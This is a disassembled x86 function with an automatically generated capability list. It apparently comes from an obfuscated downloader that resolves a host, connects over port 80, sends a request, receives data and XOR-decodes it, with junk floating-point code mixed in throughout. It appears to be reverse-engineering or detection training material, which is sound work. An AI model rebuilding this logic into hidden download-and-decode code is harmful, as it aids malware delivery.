Function at 0x4082c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c350
push 0xffffffffffffffff
push 0x41e27b
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x425ee0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
fst qword [ebp - 0x40]
fstp qword [ebp - 0x1c]
xor edx, edx
fldz
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x2c], ebx
fst dword [ebp - 0x14]
mov word [ebp - 0x38], dx
fst dword [ebp - 0x48]
mov eax, esi
mov dword [ebp - 0x30], ebx
fstp dword [ebp - 0x4c]
mov byte [ebp + 0x11bc], dl
mov byte [ebp - 4], 1
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408367
fld qword [ebp - 0x40]
sub eax, edx
fsub qword [0x41f840]
mov edi, eax
fadd dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
fmulp st(1)
call fcn.0040aea0
cmp edi, 0x7f
mov dword [ebp - 0x24], eax
fld dword [ebp - 0x4c]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x4c]
fld qword [ebp - 0x40]
fadd st(1)
fstp qword [ebp - 0x40]
jg 0x408b8f
xor ecx, ecx
cmp ecx, edi
jg 0x408443
mov al, byte [ecx + esi]
mov byte [ebp + ecx + 0x13bc], al
cmp al, 0x2f
jne 0x40843d
mov edx, dword [0x42363c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x20], edx
mov edx, dword [ebp - 0x24]
fild dword [ebp - 0x20]
sub eax, edx
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
mov byte [ebp + ecx + 0x13bc], 0
or edx, 0xffffffff
fsub dword [0x4232b4]
fcompp
fnstsw ax
fadd dword [0x4232b4]
fstp dword [0x4232b4]
add dword [ebp - 0x24], edx
add dword [ebp - 0x30], edx
test ah, 0x41
jp 0x408424
add dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
fmul qword [0x423320]
fstp qword [0x423320]
mov eax, ecx
cmp eax, edi
jg 0x408445
mov bl, byte [eax + esi]
mov edx, eax
sub edx, ecx
mov byte [ebp + edx + 0x11bc], bl
inc eax
xor ebx, ebx
jmp 0x408426
inc ecx
jmp 0x4083b0
fstp st(0)
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408450
mov edi, dword [ebp - 0x44]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408463
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x40865f
mov eax, edi
mov edx, edi
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408480
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408490
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x424fa8
rep movsb byte es:[edi], byte [esi]
call fcn.00401480
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4084c0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407800
xor eax, eax
xor ecx, ecx
xor edx, edx
mov word [ebp - 0x18], cx
mov dword [esi], eax
mov word [ebp - 0x18], dx
push esi
mov byte [esi + 4], al
call fcn.0040b405
movzx eax, word [ebp - 0x18]
movzx ecx, word [ebp - 0x18]
add esp, 4
sub eax, ecx
mov word [ebp - 0x18], ax
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408510
sub eax, edx
push eax
lea edx, [ebp + 0x11bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.00408180
push 0x32
push 0x423140
call fcn.00401480
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408540
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408180
push 0x32
xor eax, eax
xor ecx, ecx
push ebx
mov word [ebp - 0x18], ax
mov word [ebp - 0x18], cx
push esi
call fcn.0040b4b0
push esi
call fcn.0040b405
movzx edx, word [ebp - 0x18]
movzx eax, word [ebp - 0x18]
add esp, 0x10
sub edx, eax
lea eax, [ebp + 0x13bc]
mov word [ebp - 0x18], dx
lea edx, [eax + 1]
jmp 0x408590
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408590
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408180
mov edx, dword [0x42428c]
mov eax, 0x96fbe186
sub eax, edx
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
push 5
push 0x4242bc
fadd qword [0x425108]
fstp qword [0x425108]
call fcn.00401480
fld qword [0x423250]
add esp, 8
fmul qword [0x41f838]
mov esi, eax
lea edx, [eax + 1]
fstp qword [0x423250]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085f1
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408180
xor eax, eax
xor ecx, ecx
xor edx, edx
mov word [ebp - 0x18], cx
mov dword [esi], eax
mov word [ebp - 0x18], dx
push esi
mov byte [esi + 4], al
call fcn.0040b405
movzx eax, word [ebp - 0x18]
movzx ecx, word [ebp - 0x18]
add esp, 4
lea edx, [ebp]
push edx
sub eax, ecx
push 0x202
mov word [ebp - 0x18], ax
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x408680
mov ax, word [0x42325c]
movsx ecx, ax
mov edx, 0xdb8516d7
sub edx, ecx
mov dword [ebp - 0x28], edx
fild dword [ebp - 0x28]
fstp qword [0x4242c8]
cmp dword [ebp + 0x1b8], 0x10
jb 0x408b91
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040aa34
add esp, 4
jmp 0x408b91
push 6
push 1
push 2
call sub.WS2_32.dll_socket
fld dword [0x4250ac]
fld qword [ebp - 0x40]
mov esi, eax
fadd qword [0x41f830]
mov dword [ebp - 0x20], esi
fsub qword [0x41f828]
fsubp st(1)
fstp dword [0x4250ac]
fld qword [ebp - 0x40]
fadd qword [0x41f348]
fstp qword [ebp - 0x40]
cmp esi, 0xffffffff
jne 0x4086c8
call sub.WS2_32.dll_WSACleanup
jmp 0x408b58
add dword [0x4259a4], 0x4b893fc2
cmp dword [ebp + 0x1458], ebx
je 0x4086f3
push 4
lea edx, [ebp + 0x1458]
push edx
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
lea eax, [ebp + 0x13bc]
push eax
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
jne 0x408714
fld dword [ebp - 0x14]
fsub qword [0x41f820]
fstp dword [ebp - 0x14]
jmp 0x408b58
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov word [ebp + 0x192], ax
mov edi, 0x10
push edi
lea eax, [ebp + 0x190]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x40876a
cmp dword [ebp + 0x1b8], edi
jmp 0x408b5f
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x40877e
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push ebx
push edx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x4087b5
cmp dword [ebp + 0x1b8], edi
jb 0x408b91
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040aa34
add esp, 4
jmp 0x408b91
mov ecx, dword [ebp - 0x34]
push ebx
push 0x41f818
call fcn.00407800
mov ebx, dword [ebp - 0x34]
or edi, 0xffffffff
mov dword [ebp - 0x44], edi
fld dword [ebp - 0x48]
mov edx, dword [ebp - 0x20]
fld dword [0x4242a4]
push 0
fsub qword [0x41f810]
push 0x1000
lea ecx, [ebp + 0x1bc]
push ecx
fsub qword [0x41f808]
push edx
fsubp st(1)
fstp dword [ebp - 0x48]
fld dword [0x4242a4]
fsub qword [0x41f348]
fstp dword [0x4242a4]
call sub.WS2_32.dll_recv
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fadd dword [0x425994]
fstp dword [0x425994]
test eax, eax
jle 0x408a71
push eax
lea edx, [ebp + 0x1bc]
push edx
mov ecx, ebx
call fcn.00408180
test edi, edi
jge 0x408a3b
fld qword [ebp - 0x40]
fcomp qword [0x41f800]
fnstsw ax
test ah, 0x41
jne 0x40885f
fld qword [ebp - 0x40]
fmul qword [0x41f7f8]
fstp qword [ebp - 0x40]
push 5
push 0x4242bc
call fcn.00401480
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408873
sub eax, edx
push eax
push 0
push esi
mov ecx, ebx
call fcn.004044c0
mov edi, eax
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x18], ax
mov dword [esi], eax
mov word [ebp - 0x18], cx
push esi
mov byte [esi + 4], al
call fcn.0040b405
movzx edx, word [ebp - 0x18]
movzx eax, word [ebp - 0x18]
sub edx, eax
mov word [ebp - 0x18], dx
add esp, 4
fld dword [0x424e88]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fsub dword [ebp - 0x14]
fsub qword [0x41f7f0]
fld dword [ebp - 0x14]
faddp st(2)
fcompp
fnstsw ax
fld dword [ebp - 0x14]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x14]
fadd dword [ebp - 0x14]
fstp dword [ebp - 0x14]
test ah, 1
jne 0x40891d
fld dword [ebp - 0x14]
fsubr qword [0x41f7e8]
fld qword [0x423268]
fsub qword [0x41f7e0]
fcompp
fnstsw ax
test ah, 1
jne 0x40891d
dec word [0x42311c]
mov dx, word [0x42311c]
movsx eax, dx
mov dword [0x4242b8], eax
test edi, edi
jl 0x408a3b
push ebx
add edi, 4
call fcn.00405d10
mov dx, word [0x423174]
mov ecx, eax
movsx eax, dx
add esp, 4
cmp eax, 0x1670a838
mov dword [ebp - 0x44], ecx
jge 0x40899a
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
or edx, 0xffffffff
fadd dword [ebp - 0x14]
add dword [ebp - 0x2c], edx
add dword [ebp - 0x24], edx
fcomp qword [0x41f7d8]
fnstsw ax
test ah, 0x44
jp 0x40898e
mov ax, word [0x424290]
movsx edx, ax
mov eax, 0x329afe16
sub eax, edx
mov edx, dword [ebp - 0x30]
imul edx, eax
mov dword [ebp - 0x30], edx
inc word [0x424290]
jmp 0x40899a
fld dword [ebp - 0x48]
fsub qword [0x41f7d0]
fstp dword [ebp - 0x48]
test ecx, ecx
jge 0x408a34
push 0xb
push 0x4231bc
call fcn.00401480
mov ecx, dword [ebp - 0x34]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00404ea0
mov ebx, eax
mov eax, dword [0x42333c]
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fld dword [ebp - 0x14]
mov ecx, dword [0x42428c]
fadd qword [0x41f7c8]
mov dword [ebp - 0x18], ecx
fiadd dword [ebp - 0x18]
fsubp st(1)
call fcn.0040aea0
mov dword [0x42333c], eax
inc dword [0x42428c]
fld dword [ebp - 0x14]
fsub qword [0x41f348]
push esi
push 0xb
fstp dword [ebp - 0x14]
call fcn.00402370
add esp, 8
test ebx, ebx
mov ebx, dword [ebp - 0x34]
jge 0x408a71
fld dword [0x425990]
fadd qword [0x41f348]
fstp dword [0x425990]
fld dword [0x425990]
fsubr qword [0x41f7c0]
fmul dword [ebp - 0x14]
fstp dword [ebp - 0x14]
add dword [ebp - 0x24], 0x2b06365d
fld dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x44]
fsub qword [0x41f7b8]
fstp qword [ebp - 0x1c]
test ecx, ecx
jl 0x408a57
mov eax, dword [ebx + 0x14]
sub eax, edi
cmp eax, ecx
jae 0x408a71
cmp dword [ebp + 0x1458], 0
je 0x4087cc
cmp dword [ebx + 0x14], 0x4000
jb 0x408b72
mov edx, dword [ebp - 0x20]
push edx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
test edi, edi
jl 0x408a94
push edi
push 0
mov ecx, ebx
mov dword [ebp - 0x2c], 0x9fa4b533
call fcn.00404e10
fld dword [0x425de0]
mov eax, dword [0x424268]
fsub qword [0x41f7b0]
mov dword [ebp - 0x28], eax
fild dword [ebp - 0x28]
fsubp st(1)
fsubr dword [ebp - 0x14]
fstp dword [ebp - 0x14]
dec dword [0x424268]
cmp byte [ebp + 0x1454], 0
fld dword [0x425de0]
fadd qword [0x41f348]
fstp dword [0x425de0]
je 0x408b58
xor esi, esi
mov edi, 0xb4e1ec41
nop
cmp esi, dword [ebx + 0x14]
jae 0x408b2d
mov dword [ebp - 0x28], edi
cmp esi, dword [ebx + 0x14]
jbe 0x408af2
call fcn.0040b687
cmp dword [ebx + 0x18], 0x10
jb 0x408afd
mov eax, dword [ebx + 4]
jmp 0x408b00
lea eax, [ebx + 4]
mov cl, byte [ebp + 0x1454]
xor byte [eax + esi], cl
mov edx, dword [0x424318]
mov dword [ebp - 0x28], edx
fild dword [ebp - 0x28]
fld qword [ebp - 0x40]
fadd qword [0x41f7a8]
fsubp st(1)
call fcn.0040aea0
mov dword [0x424318], eax
inc esi
jmp 0x408ae0
mov ax, word [ebp - 0x38]
mov ecx, dword [0x4232e0]
mov edx, dword [0x423038]
inc dword [0x423038]
cwde
sub eax, ecx
add eax, 0x47f37cb7
cmp edx, eax
jl 0x408b58
mov eax, 0x4a9a
mov word [ebp - 0x38], ax
cmp dword [ebp + 0x1b8], 0x10
jb 0x408b91
mov ecx, dword [ebp + 0x1a4]
push ecx
call fcn.0040aa34
add esp, 4
jmp 0x408b91
fld dword [0x4232c8]
fmul qword [0x41f7a0]
fstp dword [0x4232c8]
jmp 0x4087cc
fstp st(0)
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b493
add ebp, 0x1440
mov esp, ebp
pop ebp
ret